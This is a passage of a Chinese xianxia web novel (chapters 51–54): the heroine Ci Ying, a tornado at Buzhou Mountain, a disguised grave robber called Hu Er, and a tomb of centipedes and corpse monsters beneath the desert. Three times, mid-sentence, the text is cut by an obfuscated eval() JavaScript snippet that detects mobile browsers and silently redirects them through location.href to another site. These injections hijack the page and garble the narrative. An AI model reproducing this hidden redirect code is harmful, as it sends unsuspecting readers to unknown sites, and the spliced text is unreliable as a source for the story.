鸣蛇盘桓在不周山上空,向下望去,高原棱角锋利,宛如鬼斧神工,低洼处隐没在迷蒙的雾气中,而高耸的山峰则是一片耀眼的雪白,那是终年不化的冰川。 “飞低一些。” 寒风夹着细碎的飞雪迎面扑来。钟离渊一边神情专注地搜寻着传说中的碧池,一边不知从哪变出一面雪白的狐裘披风,呼啦一下抖开,然后小心翼翼地将她裹起来。 辞盈想起之前在褚家庄他带自己去买衣服,还吐槽自己连这点寒气都抵御不了。那时候他披衣服的动作简单粗暴,不像现在,好像她是个薄壳鸡蛋,生怕一不小心把她给碰碎了。 她笑了笑:“没关系,我现在感觉不到冷的。” 钟离渊没答话,只将她冻红的手握在手心里捂着。 大佬,你这样体贴会让我产生一种错觉,好像你不是来杀我的,好像相思咒还存在一样。 “是谁,”他攥着她的手稍微捏了捏,问道,“杀你的人是谁?” 怎么,托他的福相思咒没了,你是要去感谢他给他颁个终身成就奖吗? 可不知怎的,辞盈又觉得他好像不是想杀自己,而是想替她报仇。 辞盈道:“如果我告诉你是谁,你会怎么做?” 鸣蛇飞得飞快,耳畔风声呼啸。 钟离渊顿了顿:“你希望我怎么做?” 问题又抛了回来,辞盈还真没想好。 直接去杀了江鹤川?肯定不妥。且不说修习邪功的江鹤川有多难对付,就算钟离渊头铁实力硬,使使劲儿能摁死他,那水云剑宗怎么办?师兄又怎么办? 揭穿他的真面目?地牢怕是早就被销毁了,没有证据,想揭穿谈何容易。 “我希望,你带我回逍遥山庄。” 她晃了下神,这话顺嘴就说了出来。 钟离渊僵了一下,神色微动,还没来得及说话,辞盈立刻找补道:“逍遥山庄有那么多被你强留欺压的佣仆,我要是能解放他们,岂不是功德一件?也能离我的三千功德更近一步。” 钟离渊认真道:“我没有强留任何人,他们都是自愿留下的。” 辞盈难得看见他一本正经,觉得好笑:“你怎么忽然严肃起来啦,不是说解释无用吗?是谁说过,”她学着他的样子,板起脸道:“这世间本就是谁硬谁说话,何必多费口舌。” 钟离渊唇角扬起温和的笑:“这世间,我只与你一个人解释。” 辞盈头晕目眩地想,完了,又被帅迷糊了。 过了一会儿,她才发现不是被帅晕的,是真迷糊。 立体环绕疾风越缠越凶。路旁粗壮的老树一人抱不住,被猛地连根拔起,草木沙石都大包大揽地卷入风圈内,乱成一锅粥。 这是什么鬼天气,竟然遇上了龙卷风! 鸣蛇被困在漩涡中心,挣脱不开,发出阵阵凄厉的嘶鸣。粗碎石块在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178921|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风里来回翻搅,像筛盅一样剧烈摇晃,又锋利如刀,一碰到皮肉就立刻划开一道口子。 辞盈被钟离渊一把扯过去,摁着脑袋埋进他怀里,整个人被温暖包裹着,耳畔镇定地沉声道:“抓紧我。” 下一秒,她被带着俯冲下去,尖叫着下坠。 这速度却很艰难,漩涡像一堵风墙,让人连呼吸都困难。她后背被密实厚重的风圈托着,身前被坚如磐石的胸膛顶着,夹在中间像块肉饼,挤得直翻白眼。 幸好两人很快翻转过来。钟离渊不知用了什么法术,突然冲破风墙,疾速下坠。 救命啊啊啊啊—— 除了身底下有个人肉垫,她这跟跳楼自杀有什么区别?! 落地前一秒,钟离渊腾出一只手,掌心灵力聚成一团,猛地向下击出。反作用力对冲之下,两人像保龄球似的向侧方滚去,从黑黢黢的山坡一滚三颠地往下跌,直到钟离渊的背狠狠撞上一棵树才停下来。 辞盈惊魂未定,连忙伸手在他背上摸了又摸地确认,好像没事? 咔嚓,砰。 树桩脆生生地折断倒地。 …… 祖宗,你还是人吗? 辞盈将他一直护在自己后脑的左手拉下来,修长素净的手背磕磨得血迹斑斑。 她望着那只手发怔。 “受伤了吗?”钟离渊急切地来回摆弄她的胳膊腿,眼里的关心不像假的。 怎么回事,难道相思咒还在? 不可能吧?她都死过一次了! 来不及多想,鸣蛇还在漩涡里快卷成蛇羹了。确认了她四肢健全,钟离渊快速道:“去山下等我。”说完便消失在白雾之中。 辞盈独自爬起来,一瘸一拐地,终于在夜幕沉沉中找到山脚下的一处客栈。 九曲十八弯的山路旁大概只有这一处客栈,两扇木门大敞着,并没有人出来迎客。陈旧的牌匾在风中散漫地摇曳,走到门口,就听见里头吵吵嚷嚷的像在自助轰趴。 …… 说好的人迹罕至呢? 大堂里摆了十几张桌子,半数坐满了咋咋呼呼的汉子,旁边全是喝空的酒缸。划拳的、吵架的、睡觉的、谈心的,还有俩抱头痛哭的,热闹得很。 辞盈不想引人注意,选了个靠边的位置坐下。扫视一圈,终于看到窝在角落里长板凳上打瞌睡的店小二。 辞盈惊叹,这天选打工人,睡眠质量真绝。 不忍心叫醒店小二,反正心里惦记着钟离渊和鸣蛇,她暂时也睡不着,索性就坐着看热闹。 一个满脸横肉的黑胖子喝得满脸通红,气愤地猛拍桌子,那古老破烂的桌板摇摇晃晃,差点当场散架。 “兄弟们,咱们被逍遥山庄压了多少年,他妈的李贽那个王八蛋终于死了!这回轮也该轮到咱们出头了!” 有人跟着应和:“就是!仗着九曜派的势,钱都让他一个人赚了。他吃肉,咱们兄弟连汤都喝不着!老天有眼,让那魔头的倒霉儿子宰了他!” “嘘——” 挨着胖子的是个上了年纪的男人,鼻梁上一道大刀疤,像爬着条大虫,模样骇人,说话却小心翼翼:“谨慎说话,小心祸从口出。” 黑胖子突然大手一挥,高举酒碗,也不管那酒哗啦一下散了半碗,豪情万丈道:“兄弟们,苟富贵——” 众人一起举杯:“勿相忘!” 气氛到了,黑胖子沉浸式表演,带头把碗一摔,众人纷纷效仿,噼里啪啦放鞭似的碎了满地。 大概是见多了酒鬼闹事,店小二一个激灵醒了,看看满地狼藉,又见怪不怪地闭上眼,继续打鼾。 这帮人,往往嘴上喊得越欢,落井下石的时候下手越狠。 辞盈打量着这些人的举止做派,再看看门口堆的黑色工具箱和形状特异的细长铁铲,心里猜到,这大概是一群专门盗墓的土夫子。 离开众人远远的坐着个奇怪的虬髯公,独自喝着闷酒,倒像见不得人似的,上半张脸被斗笠盖住,下半张脸被浓密的胡子遮挡。 他沉默着,一副跟胡子不熟的样子。一张嘴,就变成酒浸胡子,努力了几次都没喝到,只好悻悻地放下了碗。 有人问:“听闻那鄯善洞子是金井玉葬,怎么这么多年竟没听说有人倒斗起货?连李贽那厮也没动过心思?” 52. 大漠孤烟直 “不过是一群胆小如鼠的蠢货罢了。”胖子仰头又灌下一碗烈酒,满脸涨得通红,大着舌头笑道,“还女鬼索命?真他妈可笑!若真有那般美艳的女鬼,老子直接捉来给兄弟们快活快活!哈哈哈哈……” 众人一阵哄笑,辞盈懒得听这些污言秽语,走到邻桌敲了敲桌面,对店小二道:“给我开一间房。” 她从怀里掏出一块碎银搁在桌上,却立刻有一只肥腻的手覆在她手背上,带着酒气的声音黏糊糊缠过来:“你们店里忒没有眼色,这样的美娇娘住宿哪能收钱?美人,去我房里歇着如何?” 换做从前,对付这种借酒发疯色胆包天的无赖,辞盈早就打断他的手。 可是如今她手脚本就麻木不灵,刚才又滚雪球似地从山上摔下来差点儿散架,一时竟没反应过来。 那胖子的浪笑还没落地,忽然脖子一紧,整个人被人像拎小鸡似的提起来,轻飘飘往后一甩——“噗通”一声,结结实实摔了个四脚朝天。 他晕乎乎爬起来,揉着眼睛看清来人,顿时炸了毛:“胡二!你他妈疯了?!” 竟是不知何时飘过来的虬髯公,嫌弃地拍拍手上的灰,淡然道:“你是来求财的,还是来惹事的?” 胖子噎了一下,梗着脖子回嘴:“怎地?你管天管地还管老子找乐子?求财就不能寻点快活了?” 胡二干脆道:“好,那咱们各走各的。” 旁边的疤脸赶紧过来打圆场:“别别别!都消消气!这孤木不成林啊,好不容易遇上胡兄这般好手,正该一起发财,可别为个妞伤了和气,耽误了正事儿!” 胖子还想嚷嚷,被疤脸连推带拽拖走了。 众人正喝得热火朝天,根本没空搭理一个小插曲,大堂里迅速又喧闹起来。辞盈笑了笑道:“胡……二哥?多谢了。” 胡二从头到脚裹得只露一双眼睛,冷冰冰地转过来看了她一眼。 嘶—— 这阴恻恻令人浑身不舒服的眼神,好像在哪里见过。 辞盈忍不住抬头仔细打量,他个子很高,几乎要跟钟离渊一样高了。肥大的斗篷罩着身体根本看不出胖瘦,那毛茸茸的胡须密得像擦锅球似的,别说相貌如何,他说话你都找不着嘴在哪。 “你来这儿做什么?”他开口问道。 “找东西。”辞盈答得干脆。 这等于是句废话,谁孤身一人跑到这雪山大漠是来过家家的? 眼前这个大胡子,看刚才的身法怎么也不像是个普通的盗墓贼。甚至,他动作之间还渗透着异样的气息。 她往前挪了半步,果然嗅到一丝若有若无的鬼气。辞盈反问:“胡二哥,你呢?” 胡二捋了捋湿漉漉的胡须,含糊道:“自然有我的道理。” 很好,无效交流。 为表诚意,辞盈从旁桌捞过两只空碗,斟满酒递过去一碗:“刚才多谢,我先干为敬。” 她仰头饮尽,见胡二还端着碗,不禁笑着从旁边抽了一根筷子,慢慢地向他的脸伸过去。 胡二条件反射地一歪头,警惕地盯着她。 辞盈也不解释,笑盈盈的,筷子又往前凑。这次胡二没躲,她像掀门帘似的,把他唇上的胡须一根根挑起来,露出底下的嘴:“胡二哥,这下能喝了。” 胡二对着酒碗沉默两秒,面无表情地瞪了她一眼,仰头“咕咚咕咚”喝了个底朝天。 那头的胖子还憋着气,时不时翻着白眼斜瞟胡二,扯开嗓子指桑骂槐:“老子八岁就跟着家里闯泑泽!不周山这一带的沟沟坎坎,谁他妈能比我熟?!有些人仗着会点装神弄鬼的本事,就敢在老子头上撒野,也不掂量掂量自己有几两骨头!” “泑泽”两个字入耳,辞盈心头一动,眼角余光瞥见胡二眼皮也跳了一下,俩人四目相对,瞬间心照不宣。 这个胡二果然不是普通盗墓贼,十有八九也是冲着碧池来的。 她和钟离渊在天上扫雷似的转了一圈又一圈也没找到泑泽,眼下终于有个活导游,自然不能轻易放过。 “胡二哥,你们行动带上我呗?我会……” “会送死?”胡二直接打断,“胳膊腿都不利索,还想学人家倒斗。” 辞盈:“……眼力真毒。” 桌子另一头的胖子忽然跳起来:“胡二爷,这就是你不对了!人家小妞想跟着长长见识有什么不行的?” 胡二面无表情,目不斜视:“我干活不带累赘。” “你不带我带。”胖子赌气地要压过他一头,一拍大腿嚷道,“妞儿,明天你就跟着我走,准保你平安无事。” “好哇。”辞盈甜笑道,“那就谢谢这位大哥了。” 胡二皱着眉刚要反对,眼前的美人已经踮起脚尖凑到耳边,轻柔的声音冷嗖嗖飘进耳朵里: “你再拆我台,我就把你胡子全扯下来,到时候咱俩谁都去不成。” 胡二一怔,再看她依然是笑容甜美,毫无破绽,仿佛刚才那句话是他自己精神分裂幻想出来的一样。 辞盈看他反应,更加确定自己猜得没错。 这一屋子酒味儿都掩盖不住的阴森鬼气,这好像刚从地狱里爬出来的死人眼神,还有这零下四十度带冰碴冻死人的语气…… 绝对不会错,这个胡二并不是跟那群人一伙的,只是半路伪装成土夫子跟他们结伴而行。 他就是第一次在桃花坞劫她,又在谢家堡放鱼咬她,还在水云剑宗地牢里劫狱救过她的面具怪人! 次日醒来,这队人收拾了行装,晃晃悠悠出发,直到黄昏时分才进入沙漠。 狂风卷起遮天蔽日的黄沙,夕阳的余晖依旧如同熔金般挂在天顶,将脚下的沙粒炙烤得滚烫。怪不得天快黑才进沙漠。 这要是正午就来,她这烛龙之心还不得分分钟变成炭烤龙心。 待夜幕降临,总算能凉快些。众人都沉默着赶路,一开口说话夜风就灌满口鼻,像吞了一嘴又干又冷的沙子,噎得难受。 钟离渊到现在还没找过来,也不知是迷路了还是被风吹走了。 辞盈在心里自嘲,如今没了相思咒,没准儿他半路就跑去忙别的了。这世上可杀的人多得是,人家何必非得追到沙漠来费劲。 这么想着,却忍不住仰起头,想看看有没有一大坨鸣蛇飘过的痕迹。夜空一片漆黑,只有漫天星辰闪烁,像洒落在墨色绸缎上的钻石,缀在夜行人的心幕上。 忽然,一颗星星拖着长尾坠落。 “快看!流星!”辞盈猛地拍向旁边的胳膊。 胡二“嗯”了一声,算是回应。 “是流星欸!快许愿!”辞盈闭眼默念三遍:让我攒够三千功德,离开这杀人不犯法的鬼地方,回那个连垃圾都要分类的无趣故乡去! “这是我第一次见流星。”她许完愿还很兴奋,“以前只在电视……书上看过,还以为会‘嗖’地一下消失,我就纳闷怎么来得及许愿?原来流星是‘呦——’地滑下来的。” 旁边静得像个行走的稻草人。 辞盈随口问:“你许了什么愿?” 胡二面无表情地沉默着,看起来漠不关心。 “真无趣。”辞盈撇撇嘴,忽然听见身后传来惊叫。 “怎么了?”胖子不耐烦地回头。 “舅舅……我舅舅不见了!” 众人清点人数,原本十三个人,只剩十二个。大漠茫茫无际,就算想躲也无处可藏,好端端走着,怎么会凭空少个人? 胖子强作镇定:“没办法,先走着,都看好身边的人。” 没走几步,又一声惊叫:“我爹也不见了!” “这地方……怕是有鬼!” 人群瞬间慌了神,吵着要回去。胖子怒道:“慌什么!两三个人手拉手走,肯定没事!” 话音刚落,又有人尖叫:“完了!牛三和他爹都不见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186631|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 这下没人听胖子的了,众人掉头就跑,黑暗中鬼哭狼嚎的救命声此起彼伏。混乱里,只听疤脸叫道:“都别乱跑!大伙聚在一起!” 几个人慌慌张张,手忙脚乱地聚成一团。再一数,偌大的沙漠,目之所及除了脑袋顶上的月亮,只剩下辞盈、胡二、胖子、疤脸,还有个看起来也就十四五岁的男孩,死死吊在胖子的胳膊上打哆嗦。 胖子的声音发颤:“怎么办?” “咱们五个手拉手,围成一个圈!”辞盈说完,左手拉住胖子,右手去抓胡二,对方却一僵。 “怎么了?”辞盈警觉地问,“你发现了什么?” “没什么。”胡二用力回握住她的手。 胖子的手抖似筛糠,惊恐道:“胡二!你不是很能打吗?不是会法术吗?眼下怎么看不出门道了?” 辞盈冷哼:“这位胖子哥,那你不是说八岁开始就在这混吗?你练的又是什么绝活,大变活人吗?” 胖子气急败坏:“你懂个屁!老子在等时机……哎呦我的妈!” “怎么了怎么了?”疤脸吓得声音发尖。 “这小妞手劲儿也太……哎呦我错了姑奶奶!饶命啊!手要断了!” 忽然之间妖风骤起,沙尘像倒置的水晶球中飘扬的雪花,弥漫飞舞吹得人睁不开眼。辞盈只觉得左手被一股强劲的力道拉扯,手心一滑,心中暗道不好! 果然,待妖风过后,胖子三人都不见了踪迹。空旷的沙漠上,只剩她和胡二孤零零站着。 辞盈手心沁出冷汗。究竟什么妖怪能在瞬间把人从她手里夺走,连惨叫都发不出一声? 她两只手都紧紧攥住了胡二,强压着恐惧问:“你觉得会是什么?” 胡二盯着她,沉默不语。 “大哥,人都快死没了就别装酷了,有话就说。” 胡二忽然用审判似的目光俯视她:“你不怀疑我?” 辞盈一愣。 “人一个接着一个消失,现在只剩下我们两个。难道你不该怀疑我?” “我为什么要怀疑你?”辞盈反问,“失踪总要有个先后顺序。咱俩也算共过生死吧,基本的信任还是有的。再说,你怀疑我了吗?” “怀疑了。” ……要不你别说话了哥。 胡二自顾自道:“你死而复生就很可疑,又莫名出现在不周山,是来跟踪我?” “对,我就是来抢你那错金博山炉的。”辞盈破罐破摔,“那你还抓这么紧?放手啊,不然我等下就……” 话没说完,妖风再起。两人同时用力攥紧对方手腕,结成最牢固的生死扣。 脚下的沙地突然塌陷,形成个不大不小的漩涡。胡二脚下瞬间成了流沙,半截身子眨眼被埋住,挣扎着却动弹不得。 辞盈被拽得弯下腰,干脆蹲在地上,拼了命往外拉。可沙坑塌陷得越来越快,像个无底黑洞,很快便淹没到了胡二胸口。 “竟然真不是你!”胡二道。 辞盈憋得满脸通红,一边拔河一边骂:“我……靠……这时候了你还说废话!信不信我把你拽出来打啊……” “不信。”胡二答得干脆。 辞盈实在没力气再废话,卯足了劲儿却只能拖延他被吞没的速度,眼看着沙土一点点漫过他的大胡子。 “我还有心愿未了,不能死。”胡二的声音从沙里传出来。 “不能死就快使劲儿啊!” 终于,胡二连头发丝都陷入了泥沼般的沙漠漩涡之中,再无踪迹。辞盈却仍旧不肯松手,全身灵力灌注手臂,使出吃奶的劲儿奋力一拉。 牛顿诚不欺我,力的作用果然是相互的。 她用尽全力,终于把自己也拽进了漩涡。 她憋着一口气,大头朝下在四面挤压的沙土里穿行了一段,忽然肺里一轻,空气扑面而来。她周身失重,狠狠地跌落下去,正砸在胡二身上。 53. 好剑啊 胡二僵尸似地一动不动平躺在原地:“下去。” 辞盈吐了嘴里的沙子,手脚并用从他身上爬下来,嫌弃道:“你怎么这么瘦,砸你比砸地好不了多少,硌死我了。” 沙漠地面上好歹还有月光星光,眼下却是一片伸手不见五指的漆黑,像掉进一个密不透风的黑匣子似的。 想也知道,这地宫埋在沙子底下不知道几米深,怎么可能有光透得进来。 “这到底是哪儿啊?” “救命啊,娘啊,我不想死啊!” 看来方才掉进沙漠漩涡的人,全都悄无声息地摔进了这鬼地方。 身处黑暗之中听力就会十分敏感,身边哀嚎声吵得人心烦。辞盈正想调动灵力照明,眼前却倏地亮起一簇火苗。 胡二掌心托着团幽蓝火焰,焰心泛着点诡异的绿,不大不小,任凭他走动、有风掠过,火苗都稳如磐石,这便是水云剑宗的引火符。 引火符属于低阶入门符纸,当初墨让尘不知给了她多少好用的符纸宝贝,让她留着防身,可惜都随旧尸身一起烧了。 辞盈叹了口气,抬头一看,又忍不住发笑。 借着幽蓝的光,胡二被沙漠漩涡蹂躏得够呛,劣质假胡子蹭得歪歪斜斜,半挂在嘴角,连披风也扯丢了,形容狼狈。 辞盈索性踮起脚,伸手就把他脸上那些累赘全扯了下来。胡二竟很神奇地没有躲闪,任由她动作。 对于这个面具怪,辞盈一度怀疑他是个嘴歪眼斜的丑八怪,或者是当年在药王谷覆灭的时候脸上留下了骇人的烧伤疤痕。今日终于一睹真容,想不到竟是个丰神俊朗的青年人。 眼廓深邃,眉骨英挺,五官带着点异域风情,只是脸色近乎病态的惨白,看着有点儿亚健康。肩膀倒是很宽,却只有骨架撑着,没有几两肉。 他这副单薄如纸的身躯,孱弱得跟任平生半斤八两,哪怕得了错金博山炉,看起来也很难驾驭深厚的灵力修为。 辞盈打趣道:“原来你长得这么好看,干嘛总蒙着脸呢?” 胡二淡淡道:“他说我在剑宗走动,这样更方便。” 这个“他”自然是指江鹤川了。 辞盈嗤道:“方便什么?你戴着面具古里古怪明明更显眼好吗?难道一旦被人发现,你还打算自称是来演川剧变脸的?” 胡二没接话,转头打量四周。辞盈也跟着看去,这一眼,却悔得肠子都青了——还不如不看。 这间是一间比教室大不了多少的石室,在幽微的火光之中,墙壁隐隐有什么东西在动。 定睛一看,四壁上竟爬满了密密麻麻的蜈蚣! 见了鬼了! 辞盈上辈子最怕两样:鬼和蜈蚣。自从到了这世界,见鬼比吃饭还勤,倒被迫脱敏了,可这百足之虫,依旧能给她脆弱的心灵造成一万点暴击。 此刻她浑身的鸡皮疙瘩暴起,恨不得自挖双目。 谁来把它们弄死!或者把我弄死也行! “你怎么了?” 胡二有点惊讶地发现旁边这女的前一秒还活蹦乱跳地挑衅,后一秒忽然就石化了。 辞盈打了个寒噤,死死闭着眼:“你快找找出口!我必须立刻离开这儿!快快快快!” “你怕蜈蚣?”胡二说着跺了跺脚,“别怕,虽然你脚底下全是蜈蚣,但我会踩死,不让它们爬你身上……” “闭嘴!” 辞盈一想到脚下是什么,腿都软了,差点窜到他身上避难,又硬生生忍住。这家伙瞧着就是一副封建思想古人脑,指不定讲究男女授受不亲,抱一下搞不好再把他吓死。 她闭着眼,手上聚起灵力往下一通乱轰,有东西飞溅起来崩到身上,她甚至不敢想象那是什么。 一定是泥土,对,就是泥土!只要我不睁眼,它们就都是泥土! 胡二道:“你这样打不完的。” 辞盈带着哭腔:“那你说怎么办?” “看那儿。” 辞盈顺着他指的方向看去,石室中央的高台上,静静摆着口宽大的棺椁,封得严严实实。 她不解:“什么意思?” “你进去,蜈蚣爬不进去。” “……” 我进去,把里头原来那位的骨头扔出来?然后我就躺在里面岁月静好了? 这就是传说中最好用的的掩耳盗铃吧? 辞盈看看棺椁,又看看胡二,不知该做何表情。 胡二见她不动,又问:“你还怕鬼?” “额,那倒不……” 话没说完,胡二一脚将那沉重的石棺盖踹开,火焰一照,棺内竟然空空如也。 他毫不犹豫地抓起辞盈扔进棺椁,接着自己也跳进来,“咣当”一声盖上了石棺盖。 …… 天才,所以你进来陪我我就不怕了是吧? 你是指望外头那十一个鬼哭狼嚎的家伙把蜈蚣都踩死然后再出去吗? 漆黑中,辞盈感觉到他浑身绷得死紧,除了肩膀无法避嫌地抵着她的肩,整个人一动不动贴在棺壁上,躺成了笔直的一条。 辞盈道:“胡二哥,不用这么紧张,放松点,别把自己累着。” “我没紧张。” 他深吸一口气,缓缓开口:“我不叫胡二。你……叫什么名字?” 辞盈刚要说话,就听见四壁传来细密快频的“唰唰”声,仿佛能看到棺椁上爬满无数蜈蚣,窸窸窣窣地正在试图往细缝里钻 这感觉,就像教室前排有十个熊孩子正一起用指甲刮黑板! 辞盈一个激灵,整个人瞬间炸毛。这是满清十大酷刑新编吗?能不能给我个痛快的死法! “它们进不来,放心……” “轰隆!” 一声巨响,棺椁竟晃了晃。 什么情况?蜈蚣们有这么大力气? “轰隆隆——!” 耳畔仿佛滚过惊雷,棺椁剧烈震颤不止,连棺盖都被震歪了半片,露出一大条缝隙。 摇摇欲坠的蜈蚣顺着棺盖噼里啪啦往下掉! 辞盈惨叫着闭眼缩成一团,却没等来预想中的“蜈蚣雨”。睁眼一看,胡二不知何时俯身撑在她上方,挡得严严实实,可他肩头已爬满蜈蚣,还在往下蔓延! 啊啊啊啊啊啊啊啊——! 条件反射地,辞盈一脚把胡二踹飞,自己也像触电似的弹了出去。 “对不起对不起!” 理智回笼,她赶紧跑过去道歉。胡二站起身抖了抖衣襟,语气不冷不热:“你之前救过我一次,现在扯平了。” “……” 兄弟,你上辈子是个方程式吗这么爱找平? 石室里其他人都在拼命灭虫,辞盈却发现一个奇怪的现象:刚才掉在胡二身上的蜈蚣都跟逃命似的往下跑,还纷纷绕着他走,像在怕什么,以他为圆心形成了唯一一片净土。 胡二显然也发现了,想了想,从怀里翻了半天,掏出块方帕扔过来。大概是常年包草药的帕子,透着股浓重呛人的药味。 “干什么?”辞盈接住帕子问。 “拿着,它们好像怕我身上的药味。” 果然,蜈蚣似乎十分忌惮这药味,也不敢再靠近辞盈了。 她刚松了口气,脚下的石板突然疯狂摇晃,石板缝里的沙尘簌簌落下。她站不稳,还生出种超重感,仿佛坐着跳楼机扶摇直上。 这什么意思?地宫抽疯要冒头重见天日了?! 地动山摇中,原本净色无痕的一面石壁忽然变得透亮如玉,颜色还深一块浅一块的,像素净桌布上洇开的水印。 辞盈摇摇晃晃走到墙边,用拳头捶了两下,声音敦实,一点不透声——这墙竟格外厚重。 最后剧烈的一震,她差点一屁股坐地上。 如同尘埃落定,石室稳定下来,却不知从哪传来“咔嚓咔嚓”像嚼锅巴一样的声音。 辞盈长舒一口气,晃了晃手里的方帕,打趣道:“方程兄,这下我又欠你一次了。” 胡二不理她乱起的外号,又燃了张引火符,沿着墙慢慢走,一边研究一边道:“你记着,我会讨回来的。” 其他人也贴着墙,敲敲打打找出口,一无所获。那“咔嚓”声却阴魂不散地绕着四周。 辞盈找了一圈,皱眉道:“这石室没门,太奇怪了。” 胡二忽然停下脚步,不错眼珠地死死盯着辞盈身后。 一般电影里出现这种眼神,该人背后要么有情敌,要么有鬼。 可惜眼下这种情况,只可能是第二种。 辞盈僵在原地,后脊背的汗毛全竖起来了,不敢回头,结结巴巴地问:“你看……看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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若等到一面墙都被凿塌了,怪物排山倒海地蜂拥而至,那可不是好玩儿的。 疤脸一边用铲子拍蜈蚣,一边疑惑道:“你们在说什么?” 辞盈没功夫解释,迅速找到颜色最深的一块墙面,张牙舞爪的影子显得迫不及待。她将手掌紧贴在阴影处,清晰地感受到震颤。 透明石壁仿佛一层单薄的窗纸,一触即破。咔嚓声透着令人颤栗的急迫,已经近在咫尺。 所有人都察觉到不对劲,纷纷停下动作望过来。 辞盈屏住呼吸,掌心运力。 “破!” 墙体最薄处轰然崩裂,炸出个大洞。洞口里立刻探出来三条瘦骨伶仃的胳膊,五指成爪,疯狂在空气中抓挠。 胡二不知从哪抽出柄利剑,手起刃落,三条胳膊齐刷刷被斩断,飞崩出去。 “好剑!” 辞盈说着,一掌劈掉刚探出来的脑袋,这才看清这些尸怪的长相:头发蓬乱杂长,眼眶里一片空白,脸颊凹陷像饿了几百年,喉咙里发出恶犬一般的嘶吼,总之是看一眼就会让人做噩梦的模样。 那尸怪脑袋滚落到众人脚边,却没有立刻便死,而是张开大嘴将周围的蜈蚣贪婪地吞入,又当作子弹猛吐出来,四处乱射。 辞盈大惊,不是尸怪吗,怎么变成豌豆射手了!情急之下,她对旁边的胖子叫道:“快砸碎它!” 那胖子却向后跳出一丈远,惊恐道:“这东西……我靠不近啊!” “这是什么东西?!” “鬼——啊——!” 众人纷纷躲远,给它让出了射程。蜈蚣子弹沾了尸怪的唾液,射中哪儿,哪儿的皮肤就当即溃烂,不停有人被射中受伤,一时间满室哀嚎惨叫,倒比石洞外头还要骇人。 辞盈不敢再劈掉脑袋,只好摁着头顶把尸怪往回塞。眼看一条蜈蚣飞射过来,她正犹豫该怎么躲,剑光一闪,蜈蚣已被斩成齑粉。 胡二身手敏捷地上前一步,将那还在喷射的尸怪脑袋从中劈开,又唰唰补了两剑,彻底剁碎了。 “好剑啊胡二哥!” 胡二跃回洞口:“你这是夸吗?” “当然是啊。”辞盈道,“咱俩总这么顶着也没完,得想个办法。” 尸怪越聚越多,争先恐后地往外爬,这何止几十个,简直有几百个! 54. 泑泽碧池 洞口禁不住挤压,越破越大,裂口已经足够两三个尸怪一齐涌出来,辞盈和胡二左支右绌,渐渐力不从心。辞盈用灵力轰飞一群尸怪,趁机道:“你不是会召唤那个什么噬骨鱼吗?咬我的时候挺能耐的,现在倒是放啊!” 胡二皱眉:“没有水,我放哪?” “随便放哪吧……”辞盈手忙脚乱地格挡,“总之你再不显显灵,咱俩今天都得喂蜈蚣了!” 胡二沉思片刻,忽然拢出一团黑烟煞气,猛地推向面前的尸怪。 煞气窜上尸怪惨白扭曲的脸,迅速向后弥漫,数不清的尸怪发出毛骨悚然的嘶吼,顷刻之间化作白骨,那骨血上还游弋着无数红腹黑背的噬骨鱼,微小如米粒。 他竟然想到将噬骨鱼放入尸怪的血液之中!辞盈咂舌:“真恐怖,幸好你当初没这么对付我。” 否则就是一万个钟离渊也救不了我啊。 胡二道:“嗯,幸好。” 洞口大开,众人早被满室的蜈蚣尸怪吓得魂不附体,哪里还有逗留的道理,也不管那头是什么,连滚带爬拼命跑了出去。 辞盈歪着脑袋看他:“你刚才是不是笑了一下?” “没有。” “我明明看到了。”辞盈笑道,“你笑起来很帅啊,多笑笑呗。” 胡二冷哼一声,弯腰钻进洞口,不到半秒就像被炮轰般飞了出来,软绵绵地从墙角滑落到地上,活像张摔在锅边的贴面饼。 辞盈大吃一惊,正要去扶,洞口突然炸开数道银光,真像炮弹一样将整面石壁击塌,辞盈脚底抹油跑得起火才没被轰成肉饼。 尘埃漫天,废墟之后露出四根高而细的圆柱,墙面上刻着栩栩如生的百兽浮雕。空旷的大殿中央是一方碧绿如翡翠的冷泉,仙气飘飘烟雾缭绕。 十几个土夫子早被强力震倒,七扭八歪地躺了一地,哎呦哎呦地叫苦连天。 大殿正中,一个头戴银纱、卷发红棕的少女飘浮在半空,容貌虽美,表情却淡漠如假人。 少女手上幽光收拢,声音空灵:“损我墓穴,杀我奴仆,你们意欲何为?” 这位小姐姐,讲讲道理,墓穴不是你自己刚才轰塌的吗? 那墙也是你家奴仆自己挠漏的啊! 辞盈先跑到胡二旁边,看他还算四肢健全没什么大碍,扭头道:“不是我们自己想来这里,是沙漠漩涡陷阱将我们吸进来的。既然你不欢迎,何必伤人,我们离开就是。” 她将胡二扶起来,掺着他往外走。 “慢着。” 果然,女鬼姐姐是不会这么轻易放过我们的吧。 辞盈反应了一下,惊讶地发现刚才竟是胡二的声音。 他站直身子,挺了挺腰,抱拳道:“前辈,求您允我入碧池!” 什么?前辈?你管这个看起来初中生一样清纯的少女鬼叫前辈? 等等,你说这个汗蒸房温泉一样烟气腾腾的绿池子就是碧池?果然是朴素的起名方式呢! 辞盈托着下巴暗忖:那我能不能趁她不注意现在就扑通一声跳下去? 